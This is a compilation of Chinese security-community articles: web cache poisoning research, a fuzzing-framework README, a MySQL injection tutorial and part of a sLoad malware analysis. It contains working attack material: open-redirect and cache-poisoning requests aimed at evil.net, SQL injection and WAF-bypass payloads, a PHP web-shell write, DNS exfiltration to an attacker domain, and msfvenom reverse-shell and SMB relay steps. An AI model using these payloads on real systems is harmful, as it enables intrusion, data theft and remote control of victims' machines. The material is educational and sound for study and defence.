### 本地路由劫持（Local Route Poisoning）
到目前为止，我们已经见识到了基于cookie的语言劫持，并且使用各种请求头重写host造成的一系列攻击灾难。在这一点的研究上，我还发现了一些使用奇怪的非标准的请求头的变体，例如’translate’，’bucket’和’path_info’，而且我怀疑我遗漏了许多其他请求头。在我通过下载并搜索GitHub上的前20,000个PHP项目以获取请求头名称来扩展请求头字典之后，事件取得了重大进展。
这暗示了X-Original-URL和X-Rewrite-URL请求头会覆盖了请求的路径。我第一次注意到它们会影响目标是在运行Drupal时，并且通过挖掘Drupal的源代码显示对此请求头的支持来自流行的PHP框架Symfony，它的作用是从Zend获取代码。最终结果就是大量的PHP应用程序无意中支持这些请求头。在我们尝试使用这些请求头进行缓存投毒之前，我认为它们也非常适合绕过WAF和安全规则：
GET /admin HTTP/1.1
Host: unity.com
HTTP/1.1 403 Forbidden
...
Access is denied
GET /anything HTTP/1.1
Host: unity.com
X-Original-URL: /admin
HTTP/1.1 200 OK
...
Please log in
如果应用程序使用缓存服务，则可以滥用这些请求头以将其混淆来提供不正确的页面。例如，此请求的缓存键为/ education？x = y，但是从/
gambling？x = y取回内容：
最终结果是，在发送此请求后，任何试图访问Unity for Education页面的人都会收到一份小惊喜：
页面偷天换日的能力在不失严重性的同时更加有趣，但也许它在更大的利用链中占有一席之地。
### 内部缓存投毒（Internal Cache Poisoning）
Drupal通常和Varnish等第三方缓存一起使用，但它也包含默认启用的内部缓存。此缓存机制众所周知X-Original-URL请求头并将其包含在其缓存键中，但是犯了将此请求头中的查询字符串包含进缓存键中的错误：
虽然之前的攻击让我们用另一个路径替换路径，但是这个攻击让我们重写了查询的字符串：
GET /search/node?keys=kittens HTTP/1.1
HTTP/1.1 200 OK
…
Search results for 'snuff'
这更有希望，但它仍然非常有限 – 我们需要第三种要素来实现攻击。
### Drupal开放重定向（Drupal Open Redirect）
在阅读Drupal URL-override代码时，我注意到一个风险极高的特性 –
在所有重定向响应中，你可以使用’destination’查询参数覆盖掉重定向的目标。
Drupal尝试进行一些URL解析以确保它不会重定向到外部域名，但这很容易被绕过：
GET //?destination=https://evil.net\@unity.com/ HTTP/1.1
Host: unity.com
HTTP/1.1 302 Found
Location: https://evil.net\@unity.com/
Drupal在路径中发现了双斜杠//并试图发出重定向到/来规范化它，然后目标参数生效。Drupal认为目标URL告诉人们使用用户名’evil.net’访问unity.com。但实际上，网站浏览器会在自动将转换为/，并将用户导航到evil.net/@unity.com上。
再一次，一个本身并不令人兴奋的开放重定向，但现在我们终于构建出了一个严重漏洞利用代码。
### 持续重定向攻击（Persistent redirect hijacking）
我们可以将参数覆盖攻击与开放的重定向结合起来，以持久地劫持任何重定向。
Pinterest商业网站上的某些页面恰好通过重定向导入JavaScript。以下请求以蓝色显示的缓存条目投毒，参数显示为橙色：
GET /?destination=https://evil.net\@business.pinterest.com/ HTTP/1.1
Host: business.pinterest.com
X-Original-URL: /foo.js?v=1
这劫持了JavaScript导入的目的地址，让我可以完全控制business.pinterest.com上的某些静态页面：
GET /foo.js?v=1 HTTP/1.1
HTTP/1.1 302 Found
Location: https://evil.net\@unity.com/
### 嵌套缓存投毒（Nested cache poisoning）
其他Drupal站点不那么容易利用，也不会通过重定向导入任何重要的资源。幸运的是，如果站点使用外部缓存（几乎所有访问量的Drupal站点），我们可以使用内部缓存来投毒外部缓存，并在此过程中将任何响应转换为重定向。这是一种两阶段的攻击。首先，我们向内部缓存投毒以用恶意重定向来替换/
redir：
GET /?destination=https://evil.net\@store.unity.com/ HTTP/1.1
Host: store.unity.com
X-Original-URL: /redir
接下来，我们向外部缓存投毒来将 /download?v=1替换为我们上一步投毒的/redir：
GET /download?v=1 HTTP/1.1
Host: store.unity.com
X-Original-URL: /redir
最终效果就是在unity.com上点击“下载安装程序”会从evil.net下载一些机会性恶意软件。此技术还可用于许多其他攻击，包括将欺骗性条目插入RSS源，使用网络钓鱼页替换登录页，以及通过动态脚本导入存储型XSS。
下面是一个在Drupal安装过程中的这种攻击的视频：
<https://portswigger.net/cms/videos/5b/fe/e952b9f0eb55-drupaldemo.mp4>
此漏洞已于2018-05-29向Drupal，Symfony和Zend团队披露，并且在您阅读本文时，通过协调的补丁的发布这些请求头已经有希望被禁止。
### 跨云投毒（Cross-Cloud Poisoning）
正如您可能已经猜到的，这些漏洞报告中的一些报告引发了有趣的回应和响应。
使用CVSS的评分机制对我提交的漏洞进行分析，CloudFront缓存投毒漏洞在实现利用的复杂性为“高”，因为攻击者可能需要租用几个VPS才能完成向所有CloudFront的缓存投毒。我坚持尝试去找出是什么导致了在漏洞利用上的高代价，我把这作为一个探讨是否可以在不依赖VPS的情况下进行跨区域攻击的机会。
事实证明，CloudFront有一个实用的缓存地图，并且可以使用从大量地理位置发出DNS查询请求的[免费在线服务](https://www.nexcess.net/resources/tools/global-dns-checker/?h=catalog.data.gov&t=A)轻松识别出它们的IP地址。从你舒适的卧室向特定区域投毒就像使用curl /
Burp的主机名重写特性将攻击路由到其中一个IP一样简单。
由于Cloudflare有着更多的区域缓存，我决定也看看它们。
Cloudflare在网上发布了他们所有的IP地址列表，因此我编写了一个快速处理脚本，通过每个IP请求waf.party/cgn-cgi/trace并记录我命中的缓存：
curl https://www.cloudflare.com/ips-v4 | sudo zmap -p80| zgrab --port 80 --data traceReq | fgrep visit_scheme | jq -c '[.ip , .data.read]' cf80scheme | sed -E 's/\["([0-9.]*)".*colo=([A-Z]+).*/\1 \2/' | awk -F " " '!x[$2]++'
这表明，当目标为waf.party（服务器在爱尔兰）时，我可以从曼彻斯特的家中命中以下缓存：
104.28.19.112 LHR 172.64.13.163 EWR 198.41.212.78 AMS
172.64.47.124 DME 172.64.32.99 SIN 108.162.253.199 MSP
172.64.9.230 IAD 198.41.238.27 AKL 162.158.145.197 YVR
## 防御（Defense）
针对缓存投毒的最强大防御办法就是禁用缓存。对于一些人来说，这显然是不切实际的建议，但我推测很多网站开始使用Cloudflare等服务的目的是进行DDoS保护或简化SSL的过程，结果就是容易受到缓存投毒的影响，因为默认情况下缓存是启动的。
如果您对确定哪些内容是“静态”的足够确认，那么只对纯静态的响应进行缓存也是有效的。
同样，避免从请求头和cookie中获取输入是防止缓存投毒的有效方法，但很难知道其他层和框架是否在偷偷支持额外的请求头。因此，我建议使用Param
Miner审计应用程序的每个页面以清除非缓存键的输入。
一旦在应用程序中识别出非缓存键的输入，理想的解决方案就是彻底禁用它们。如果不能这样做，您可以在缓存层中剥离该输入，或将它们添加到缓存键。某些缓存允许您使用[Vary请求头](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Vary)来输入非缓存键的输入，而另外一些缓存允许您定义自定义缓存键，但可能会将此功能限制为“企业”客户。
最后，无论您的应用程序是否使用缓存技术，你的某些客户端可能在其末端都存在缓存，因此不应忽视HTTP请求头中的XSS等客户端漏洞。
## 结论（Conclusion）
Web缓存投毒绝非理论上的漏洞，复杂的应用程序和越来越深的服务器调用栈正在悄悄的将它带到大众的面前。我们已经看到，即使是知名的框架也可能隐藏了危险的普遍存在的特性的，从而证实，因为它是开源的并且拥有数百万用户，就假设其他用户就已经阅读了它的源代码，这样是不安全的。我们还看到在网站前端放置缓存的行为是如何将其从完全安全转变成极易受到攻击的状态。我认为这是一个更大趋势的一部分，随着网站越来越依赖于辅助系统，对他们的安全状况单独进行评估将越来越难。
最后，我为人们测试他们学到的知识构建了一个[小挑战](https://hackxor.net/mission?id=8)，并期待看到其他研究人员在将来都能掌握web缓存投毒。 | 社区文章 |
# Fuddly：fuzzing和数据处理框架
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<https://github.com/k0retux/fuddly>
译文仅供参考，具体内容表达以及含义原文为准。
**Fuddly是一个fuzzing和data处理框架。**
**功能列表**
1\. 图形化的数据模型：
.能够以图像的方式表达一些复杂的数据。
.对复杂的数据进行管理
.对现有的数据进行分析和管理
.能够对fuzzing的策略进行生成和变异
2\. Fuzzing自动化测试框架：
.自动扫描目标
.以一个独立的探针（probes）对目标进行监视与分析
.自动存放检测的历史记录，随时可以查看
.自动处理从攻击目标获得的数据(可以实现一些特定是数据转换)
**目前所缺乏的：**
1\. 完整的文档
2\. 详情请参考TODO文件
**关于Fuddly文档的结构**
.这个链接展示了这个框架的文档结构。链接[http://fuddly.readthedocs.org/en/develop/](http://fuddly.readthedocs.org/en/develop/)
.请根据下面的步骤生成Fuddly文件：
i. 先进入docs/目录
ii. 使用make html命令生成HTML文档
iii. 使用make latexpdf命令生成PDF文档
iv. 生成的文档会存放在docs/build/目录下
**Fuddly启动及测试例子**
fuzzfmk/test.py，这个文件包含了所有Fuddly的测试组件。所以只要运行这个文件即可。
下面我来说说具体的命令。
.开启测试，选用全部组件
>> python fuzzfmk/test.py –a
.开启测试，但是只选用部分组件
>> python fuzzfmk/test.py
.避免数据模型发生错误，比如替换相同数据，减少错误的数据。
--ignore-dm-specifics
.一般情况下进行测试的命令
>> python fuzzfmk/test.py <Test_Class>.<test_method>
**其它：**
如果你有自己设计的数据模型，可以放到imported_data/目录下，之后就可以使用它了。
**依赖的组件：**
支持Python2和Python3
必须按照的：
**1.Python2或者Python3的Compatibility库**
可以参考这个页面
[ http://pythonhosted.org/six/](http://pythonhosted.org/six/)
**2.必须按照SQLite3数据库**
可选择安装的：
Xtermcolor:一个终端的色彩组件
cups: Python绑定libcups
rpyc: 远程调用Python Call
**3.文档生成**
[ sphinx](http://sphinx-doc.org/): sphinx 必须大于等于 1.3
texlive (可选): 生成PDF文档的组件
readthedocs theme(可选)：对HTML文档的一个优化
**工具地址在原文链接中** | 社区文章 |
# 【技术分享】MySQL 注入攻击与防御
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
作者：[rootclay](http://bobao.360.cn/member/contribute?uid=573700421)
预估稿费：500RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**本文主要是做一个Mysql的注入总结，对于Mysql来说利用的方式太过于灵活，这里总结了一些主流的一些姿势，如果有好的姿势可以多加交流，文章如果有错也欢迎各位dalao指出:)**
**注入常用函数与字符**
下面几点是注入中经常会用到的语句
控制语句操作(select, case, if(), …)
比较操作(=, like, mod(), …)
字符串的猜解操作(mid(), left(), rpad(), …)
字符串生成操作(0x61, hex(), conv()(使用conv([10-36],10,36)可以实现所有字符的表示))
**测试注入**
可以用以下语句对一个可能的注入点进行测试
**注释符**
以下是Mysql中可以用到的注释符：
Examples:
SELECT * FROM Users WHERE username = '' OR 1=1 -- -' AND password = '';
SELECT * FROM Users WHERE id = '' UNION SELECT 1, 2, 3`';
**版本 &主机名&用户&库名**
**表和字段**
**确定字段数**
**ORDER BY**
ORDER BY用于判断表中的字段个数
**SELECT … INTO**
关于SELECT … INTO 的解释可以看这一篇文章[SELECT …
INTO解释](http://www.w3school.com.cn/sql/sql_select_into.asp)
当出现LIMIT时可以用以下语句：
SELECT username FROM Users limit 1,{INJECTION POINT};
**判断已知表名的字段数**
AND (SELECT * FROM SOME_EXISTING_TABLE) = 1
SELECT passwd FROM Users WHERE id = {INJECTION POINT};
**查表名**
以下提过几种方式对库中表进行查询
**查列名**
以下提过几种方式对表中列进行查询
**字符串连接**
下面的几条语句都可以用以连接字符
**条件语句 &时间函数**
其中BENCHMARK函数是指执行某函数的次数，次数多时能够达到与sleep函数相同的效果
**文件操作**
**文件操作权限**
在MySQL中，存在一个称为secure_file_priv的全局系统变量。 该变量用于限制数据的导入和导出操作，例如SELECT … INTO
OUTFILE语句和LOAD_FILE()
如果secure_file_priv变量为空那么直接可以使用函数,如果为null是不能使用
但在mysql的5.5.53之前的版本是默认为空,之后的版本为null,所有是将这个功能禁掉了
也可使用如下语句查询
**读文件**
读文件函数LOAD_FILE()
Examples:
SELECT LOAD_FILE('/etc/passwd');
SELECT LOAD_FILE(0x2F6574632F706173737764);
注意点：
1\. LOAD_FILE的默认目录@@datadir
2\. 文件必须是当前用户可读
3\. 读文件最大的为1047552个byte, @@max_allowed_packet可以查看文件读取最大值
**写文件**
INTO OUTFILE/DUMPFILE
经典写文件例子：
To write a PHP shell:
SELECT '<? system($_GET['c']); ?>' INTO OUTFILE '/var/www/shell.php';
这两个函数都可以写文件，但是有很大的差别
INTO OUTFILE函数写文件时会在每一行的结束自动加上换行符
INTO DUMPFILE函数在写文件会保持文件得到原生内容，这种方式对于二进制文件是最好的选择
当我们在UDF提权的场景是需要上传二进制文件等等用OUTFILE函数是不能成功的
网上有很多文章介绍，比如[这篇](http://www.cnblogs.com/milantgh/p/5444398.html)
注意点：
1\. INTO OUTFILE不会覆盖文件
2\. INTO OUTFILE必须是查询语句的最后一句
3\. 路径名是不能编码的，必须使用单引号
**带外通道**
关于带外通道的注入前段时间国外的大佬已经总结过了，我基本复现了一下，博客有文章，这里简单提一下
**什么是带外通道注入？**
带外通道攻击主要是利用其他协议或者渠道从服务器提取数据. 它可能是HTTP（S）请求，DNS解析服务，SMB服务，Mail服务等.
**条件限制**
首先不用多说,这些函数是需要绝对路径的
如果secure_file_priv变量为空那么直接可以使用函数,如果为null是不能使用
但在mysql的5.5.53之前的版本是默认为空,之后的版本为null,所有是将这个功能禁掉了
**DNS注入**
select load_file(concat('\\',version(),'.rootclay.club\clay.txt'));
select load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874));
上面的语句执行的结果我们可以通过wireshark抓包看一下，过滤一下DNS协议即可清晰看到数据出去的样子，如下图
进行DNS注入需要域名解析，自己有的话最好，但是没有的朋友也没事，这里推荐一个网站CEYE可以查看数据
**SMB Relay 注入攻击**
**What is SMB relay**
这里简单的描述一下SMB relay这个过程
假设有主机B与A
(1) A向B发起连接请求
(2) B向A发送挑战(一组随机数据，8字节)
(3) A用源自明文口令的DESKEY对挑战进行标准DES加密得到响应，并发往B
(4) B从SAM中获取A的LM Hash、NTLM Hash，计算出DESKEY，并对前面发往A的挑战进
行标准DES加密
(5) 如果(4)中计算结果与A送过来的响应匹配，A被允许访问B
现在假设一个攻击者C卷入其中
(1) C向B发起连接请求
(2) B向C发送挑战D(一组随机数据)
(3) C等待A向B发起连接请求
(4) 当A向B发起连接请求时，C伪造成B向A发送挑战D
(5) A用源自明文口令的DESKEY对挑战D进行标准DES加密得到响应E，并发往B
(6) C截获到响应E，将它做为针对(2)中挑战D的响应发往B，并声称自己是A
(7) B从SAM中获取A的LM Hash、NTLM Hash，计算出DESKEY，并对挑战D进行标准DES
加密
(8) 如果(7)中计算结果与C送过来的响应匹配，C被允许以A的身份访问B。
**攻击流程**
关于SMB relay攻击窃取NTML与shell请看这篇文章[SMB Relay Demystified and NTLMv2 Pwnage with
Python](http://pen-testing.sans.org/blog/pen-testing/2013/04/25/smb-relay-demystified-and-ntlmv2-pwnage-with-python)
整理了一下实际操作的步骤如下:
1\. 首先生成一个反向shell:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击机ip LPORT=攻击机监听端口 -f exe > reverse_shell.exe
2\.
运行[smbrelayx](https://github.com/CoreSecurity/impacket)，指定被攻击者和生成的反向shell，等待连接。
smbrelayx.py -h 被攻击者ip -e 反向shell文件位置
3\. 使用模块multi/handler。侦听攻击机ip,攻击机监听端口
4\. 在MySQL Server上运行如下的代码，则会产生shell。相当于访问攻击机的smb服务,但实际上是窃取了mysql_server的身份
select load_file('\攻击机ipaa');
**绕过技巧**
**绕过单引号**
**大小写绕过**
?id=1+UnIoN+SeLecT+1,2,3--
**替换绕过**
?id=1+UNunionION+SEselectLECT+1,2,3--
**注释绕过**
?id=1+un/**/ion+se/**/lect+1,2,3--
**特殊嵌入绕过**
?id=1/*!UnIoN*/SeLecT+1,2,3--
**宽字节注入**
SQL注入中的宽字节国内最常使用的gbk编码，这种方式主要是绕过addslashes等对特殊字符进行转移的绕过。反斜杠()的十六进制为%5c，在你输入%bf%27时，函数遇到单引号自动转移加入，此时变为%bf%5c%27，%bf%5c在gbk中变为一个宽字符“縗”。%bf那个位置可以是%81-%fe中间的任何字符。不止在sql注入中，宽字符注入在很多地方都可以应用。
**MySQL版本号字符**
Examples:
UNION SELECT /*!50000 5,null;%00*//*!40000 4,null-- ,*//*!30000 3,null-- x*/0,null--+
SELECT 1/*!41320UNION/*!/*!/*!00000SELECT/*!/*!USER/*!(/*!/*!/*!*/);
这样的查询语句是可以执行的，我理解为类似Python中第一行注释指定解析器一样#!/bin/sh
对于小于或等于版本号的语句就会执行
例如目前的Mysql版本为5.7.17那么/!50717/及其以下的语句即可执行
**字符编码绕过**
前段时间看到ph师傅的博客是讨论mysql字符编码的文章，大概意思如下，原文在[这里
](https://www.leavesongs.com/PENETRATION/mysql-charset-trick.html)
当出现有以下代码时，指设置了字符编码为utf-8，但并不是全部为utf-8，而在具体的转换过程中会出现意外的情况，具体可以看ph师傅的文章
$mysqli->query("set names utf8");
在sql查询中
test.php?username=admin%e4中的%e4会被admin忽略掉而绕过了一些逻辑，还有一些类似于$e4这样的字符如%c2等
**绕空格**
**特殊字符绕过空格**
Example:
'%0AUNION%0CSELECT%A0NULL%20%23
**括号绕过空格**
Example:
UNION(SELECT(column)FROM(table))
**and/or后插入字符绕过空格**
任意混合+ – ~ !可以达到绕过空格的效果（可以现在本地测试，混合后需要的奇偶数可能不同）
SELECT DISTINCT(db) FROM mysql.db WHERE `Host`='localhost' and-++-1=1;需要偶数个-- SELECT DISTINCT(db) FROM mysql.db WHERE `Host`='localhost' and!!~~~~!1=1;需要奇数个！
其实一下的字符都可以测试
**注释符 &引号**
SELECT DISTINCT(db) FROM mysql.db WHERE `Host`='localhost' and/**/1=1;
SELECT DISTINCT(db) FROM mysql.db WHERE `Host`='localhost' and"1=1";
**编码绕过**
**关键字绕过**
测试用例information_schema.tables
**认证绕过**
绕过语句：'='
select data from users where name="="
select data from users where flase="
select data from users where 0=0
绕过语句：'-'
select data from users where name=''-''
select data from users where name=0-0
select data from users where 0=0
比如登录的时候需要输入email和passwd，可以这样输入
email=''&password=''
类型转换
' or 1=true
' or 1
select * from users where 'a'='b'='c'
select * from users where ('a'='b')='c'
select * from users where (false)='c'
select * from users where (0)='c'
select * from users where (0)=0
select * from users where true
select * from users
我们还有关于此的漏洞，就以一次CTF的题目来说(源码如下)：
<?php
class fiter{
var $str;
var $order;
function sql_clean($str){
if(is_array($str)){
echo "<script> alert('not array!!@_@');parent.location.href='index.php'; </script>";exit;
}
$filter = "/ |*|#|,|union|like|regexp|for|and|or|file|--|||`|&|".urldecode('%09')."|".urldecode("%0a")."|".urldecode("%0b")."|".urldecode('%0c')."|".urldecode('%0d')."/i";
if(preg_match($filter,$str)){
echo "<script> alert('illegal character!!@_@');parent.location.href='index.php'; </script>";exit;
}else if(strrpos($str,urldecode("%00"))){
echo "<script> alert('illegal character!!@_@');parent.location.href='index.php'; </script>";exit;
}
return $this->str=$str;
}
function ord_clean($ord){
$filter = " |bash|perl|nc|java|php|>|>>|wget|ftp|python|sh";
if (preg_match("/".$filter."/i",$ord) == 1){
return $this->order = "";
}
return $this->order = $ord;
}
}
这里过滤了很多关键词了，需要用到类型转换了，这里我们用+号
Payload如下：
uname=aa'+(ascii(mid((passwd)from(1)))>0)+'1
执行的SQL语句如下：
xxxxxx where username = 'aa'+(ascii(mid((passwd)from(users)))>0)+'1'
这样就可以开始写脚本跑数据了
除了＋号，其他算术操作符号也会发生类型的类型转换，例如MOD，DIV，＊，／，％，－，
关于隐式类型转换的文章可以看[这里](http://www.freebuf.com/articles/web/8773.html)
**HTTP参数污染**
当我们传入的参数为
[http://sqlinjection.com/?par1=val1&par1=val2](http://sqlinjection.com/?par1=val1&par1=val2)
进入到不同的Web Server就可能得到不同的结果，这里借鉴一下国外大佬一篇文章的总结，如下：
不同的web server的处理结果截然不同
这里也推荐一篇国外的[文章](http://www.blackhat.com/presentations/bh-usa-09/DZULFAKAR/BHUSA09-Dzulfakar-MySQLExploit-SLIDES.pdf)
**实战正则过滤绕过**
**防御手段(代码以PHP为例)**
像WAF之类防御手段自己无能为力经常打补丁就好，这里主要提一下代码层面的问题
推荐使用下面的方式进行查询：
**MYSQLi**
$stmt = $db->prepare('update name set name = ? where id = ?');
$stmt->bind_param('si',$name,$id);
$stmt->execute();
**ODBC**
$stmt = odbc_prepare( $conn, 'SELECT * FROM users WHERE email = ?' );
$success = odbc_execute( $stmt, array($email) );
或者
$dbh = odbc_exec($conn, 'SELECT * FROM users WHERE email = ?', array($email));
$sth = $dbh->prepare('SELECT * FROM users WHERE email = :email');
$sth->execute(array(':email' => $email));
**PDO**
$dbh = new PDO('mysql:dbname=testdb;host=127.0.0.1', $user, $password);
$stmt = $dbh->prepare('INSERT INTO REGISTRY (name, value) VALUES (:name, :value)');
$stmt->bindParam(':name', $name);
$stmt->bindParam(':value', $value);
// insert one row
$name = 'one';
$value = 1;
$stmt->execute();
或者
$dbh = new PDO('mysql:dbname=testdb;host=127.0.0.1', $user, $password);
$stmt = $dbh->prepare('UPDATE people SET name = :new_name WHERE id = :id');
$stmt->execute( array('new_name' => $name, 'id' => $id) );
**框架**
对于框架的话只要遵循框架的API就好，例如wp的查询
global $wpdb;
$wpdb->query(
$wpdb->prepare( 'SELECT name FROM people WHERE id = %d OR email = %s',
$person_id, $person_email
)
);
或者
global $wpdb;
$wpdb->insert( 'people',
array(
'person_id' => '123',
'person_email' => '[email protected]'
),
array( '%d', '%s' )
);
**参考**
这篇文章主要是做一个总结，有的点可能描述的不是很细致，可以自己再深入研究
[https://www.defcon.org/images/defcon-17/dc-17-presentations/defcon-17-joseph_mccray-adv_sql_injection.pdf](https://www.defcon.org/images/defcon-17/dc-17-presentations/defcon-17-joseph_mccray-adv_sql_injection.pdf)
[https://www.ptsecurity.com/upload/corporate/ww-en/download/PT-devteev-CC-WAF-ENG.pdf](https://www.ptsecurity.com/upload/corporate/ww-en/download/PT-devteev-CC-WAF-ENG.pdf)
[https://media.blackhat.com/bh-us-12/Briefings/Ristic/BH_US_12_Ristic_Protocol_Level_Slides.pdf](https://media.blackhat.com/bh-us-12/Briefings/Ristic/BH_US_12_Ristic_Protocol_Level_Slides.pdf)
[https://www.exploit-db.com/papers/17934/](https://www.exploit-db.com/papers/17934/)
[http://wooyun.jozxing.cc/static/drops/tips-7299.html](http://wooyun.jozxing.cc/static/drops/tips-7299.html)
[http://www.cnblogs.com/helingfeng/p/6486854.html](http://www.cnblogs.com/helingfeng/p/6486854.html)
[http://voice0fblackhat.blogspot.com/2012/01/tut-waf-bypassing-tut-sharing.html](http://voice0fblackhat.blogspot.com/2012/01/tut-waf-bypassing-tut-sharing.html) | 社区文章 |
# 深入分析sLoad Downloader：面向英国和意大利传播Ramnit银行木马
|
##### 译文声明
本文是翻译文章，文章原作者 Proofpoint.com，文章来源：proofpoint.com
原文地址：<https://www.proofpoint.com/us/threat-insight/post/sload-and-ramnit-pairing-sustained-campaigns-against-uk-and-italy>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、概述
自2018年5月以来，Proofpoint研究人员观察到使用新型Downloader
sLoad的电子邮件恶意活动。sLoad是一个用来下载PowerShell的程序，其最常投递的是Ramnit银行木马，并且其中还包含值得我们关注的侦查功能。该恶意软件收集有关被感染主机的信息，包括：正在运行的进程列表、Outlook相关信息以及Citrix相关文件。此外，sLoad还可以获取屏幕截图，并检查特定域名的DNS缓存（例如目标银行），以及加载外部的二进制文件。在本文中，我们将首先对sLoad进行详细分析，随后介绍长期以来攻击者利用sLoad开展的恶意活动，包括在恶意活动中对电子邮件收件人姓名和地址的个性化。最后，将分析该恶意活动所针对的特定国家范围。
## 二、承载恶意软件
尽管sLoad的版本出现在2018年5月，但至少从2017年初，我们就发现这一恶意活动，并开始进行追踪。我们将该恶意活动内部命名为TA554。此外，也有其他的一些研究者注意到了这一恶意活动。下图展现了该恶意活动近期活动的快照，该记录从sLoad出现之前就已经开始。
根据历史监测到的信息，该恶意活动主要针对于意大利、加拿大和英国地区，向这些地区的邮箱发送恶意电子邮件。这些电子邮件使用相应国家的语言撰写，通常会针对每个用户进行个性化定制，在电子邮件正文和标题部分包含收件人的姓名与地址。TA554经常使用“快递运送”或“订单通知”主题诱导目标用户点击，邮件中包含压缩LNK文件的URL链接，或是在附件中包含压缩文档。LNK文件或压缩文档将下载下一阶段的恶意软件，通常是一个PowerShell脚本，该脚本用于下载最终PowerShell或其他Downloader（例如sLoad）。
2018年10月14日，针对意大利发出的恶意邮件：
2018年10月11日，针对英国发出的恶意邮件，该恶意邮件经过个性化定制，包含收件人的姓名和地址：
该恶意活动经常使用一个或多个中间Downloader，例如尚未命名的PowerShell脚本、sLoad、Snatch或Godzilla。我们同时也监测到了其最终的Payload，包括Ramnit、Gootkit、DarkVNC、Ursnif和PsiXBot。
在感染链的所有步骤中，会通过源IP地址确定用户当前所在国家，并基于此限制对内容的访问。例如，我们观察到在以下位置将会进行检查：
1、下载压缩后的LNK文件；
2、LNK下载PowerShell；
3、PowerShell下载sLoad；
4、sLoad与命令和控制（C&C）服务器进行通信；
5、sLoad接收任务或命令（通过Base64编码的二进制文件）。
其中，步骤2和5中额外加入了“Headers-fenced”，这也就意味着，该请求必须与BITS（后台智能传输服务）的请求相匹配。
## 三、恶意软件分析
### 3.1 概要
下图展现了在10月17日一条完整感染链中的网络流量情况，从用户点击恶意电子邮件中链接开始，到PowerShell和sLoad的下载，再到后续sLoad的C&C流量。
感染链中包含的主要内容如下：
第1行：用户点击电子邮件中的URL，从而导致从invasivespecies[.]us下载一个压缩后的LNK文件（Windows快捷方式文件）。
第3行：用户运行LNK，将从hotline[.]com/otki2/kine下载第二阶段文件（PowerShell）。
第5行：PowerShell下载sLoad（来自lookper[.]eu/userfiles/p2.txt）。
第7行：PowerShell下载包含sLoad C&C主机信息的文件（来自lookper[.]eu/userfiles/h2.txt）。
第8-9行：sLoad初始信标。
第10-11行：sLoad收集被感染的系统信息并发送到C&C，同时向C&C轮询命令。
第13行：sLoad在收到命令后，下载Ramnit。在这里，我们发现sLoad在一天后才收到下载下一阶段的命令。
第14行：sLoad向C&C发送屏幕截图。
### 3.2 LNK
我们分析用作第一阶段Downloader的LNK文件，发现这些文件都会倾向于指向执行下载操作的PowerShell命令，该命令位于“链接目标”字段内。通过该文件，可以轻松提取并分析执行的PowerShell命令。举例来说，在Windows上，就可以通过右键点击快捷方式文件，然后选择属性，随后即可在“目标”字段中找到该命令的内容。
然而，有一点不寻常的地方，就是数据可以附加到LNK文件的末尾，在终止块（4个NULL字节）之后。原因在于，Windows在读到终止块后，就会停止读取LNK文件中的后续数据，因此攻击者如果将恶意数据添加到文件的末尾，就可以使用PowerShell/Certutil/External工具在外部解析，并执行代码。
在我们所分析的样本中，附加命令在LNK文件结束后的末尾位置附加。因此，快捷方式的“目标”字段中十几只包含一个简短的“缩略脚本”，该脚本会寻找并执行位于LNK文件结束标识符之后的命令。实际的LNK为1528字节，在其末尾处添加了1486字节的PowerShell代码。
样本LNK属性的截图：
其中，“目标：”字段包含一个经过混淆的命令，该命令使用“findstr”（实际命令为“nwfxdrtsdnif”）来查找附加在LNK文件末尾的恶意代码，该恶意代码标记有“mrkkikaso”字符串。
下图展现了LNK文件末尾附加的PowerShell代码，该代码负责执行下一阶段的下载操作：
### 3.3 sLoad Downloader
LNK将下载一个轻量级的PowerShell脚本（未命名），该脚本本身包含一些值得关注的功能：
1、执行检查，以查看系统上是否正在运行任何安全进程，如果找到则退出。
2、下载sLoad（样本下载自lookper[.]eu/userfiles/p2.txt），并使用硬编码的密钥，将其加密存储为config.ini。
3、下载sLoad
C&C主机文件（样本下载自lookper[.]eu/userfiles/h2.txt），并使用硬编码的密钥，将其加密存储为web.ini。
4、通过计划任务，执行sLoad。
### 3.4 sLoad
sLoad同样也是使用PowerShell编写而成。在撰写本文时，最新的sLoad版本为5.07b，我们将以此版本为例重点进行分析。其中包含一些需要重点关注的功能，包括：
1、收集系统信息，并向C&C服务器发送，其中包括：正在运行的进程列表、系统上存在的.ICA文件（可能与Citrix相关）、系统上是否存在Outlook文件、额外的侦查数据。
2、进行截屏。
3、查看特定域名（例如目标银行）的DNS缓存。
4、加载外部二进制文件。
sLoad的网络通信以路径为“/img.php?ch=1”的初始C&C信标开始，这是一个空请求。在收到该请求后，恶意服务器可能会响应“sok”内容。
在发送初始信标之后，sLoad进入一个循环。在该循环中，它会将被感染系统的大量信息推送到C&C服务器上，等待接收并执行来自服务器的命令，并将屏幕截图发送到服务器上。在该循环中，首先执行“captcha.php”请求，并通过URL参数发送有关被感染主机的信息。
在“captcha.php”请求中，URL参数及对应值如下：
（1）g = “pu” 硬编码值。
（2）c = “0”
如果在系统上找到任何带有.ICA扩展名的文件，就从C:users文件夹开始搜索，并且将该值置为1，否则该值为0。根据推断，该文件可能与Citrix相关。
（3）id 使用(Get-WmiObject Win32_ComputerSystemProduct).UUID生成系统的UUID。
（4）v = “Microsoft Windows 7 Ultimate” 使用(gwmi
win32_operatingsystem).caption获取的操作系统名称。
（5）c = “GLklWOaPjmVuQiCD” 针对每个请求，都生成16位随机字符串，字符串中同时包含大写和小写字母。
（6）a = “ _armsvc_ cmd _cmd_ conhost” 正在运行的进程列表，使用“ _”来进行分隔。_
_（7）d 当前域或网络中的计算机数量。如果没有，该参数可以为空。其值也可以类似于“{in network：1}”。_
_（8）n = “MARK-PC” 使用$env:ComputerName获取的计算机名称_
_（9）bu = “_ nwolb.com _barclays.co.uk” 系统DNS缓存中，与目标银行相匹配的DNS缓存记录，使用“_ ”来进行分隔。
（10）cpu = “Intel(R) Core(TM) i5-780HQ CPU @ 2.91GHz” 系统处理器信息。
（11）o = “0” 如果”..MicrosoftOutlook”目录存在，该值为1，否则为0。
sLoad读取并保存服务器对“captcha.php”请求的响应。如果返回任何响应，那么sLoad将会对其进行检查，并进行相应操作。响应及对应说明如下：
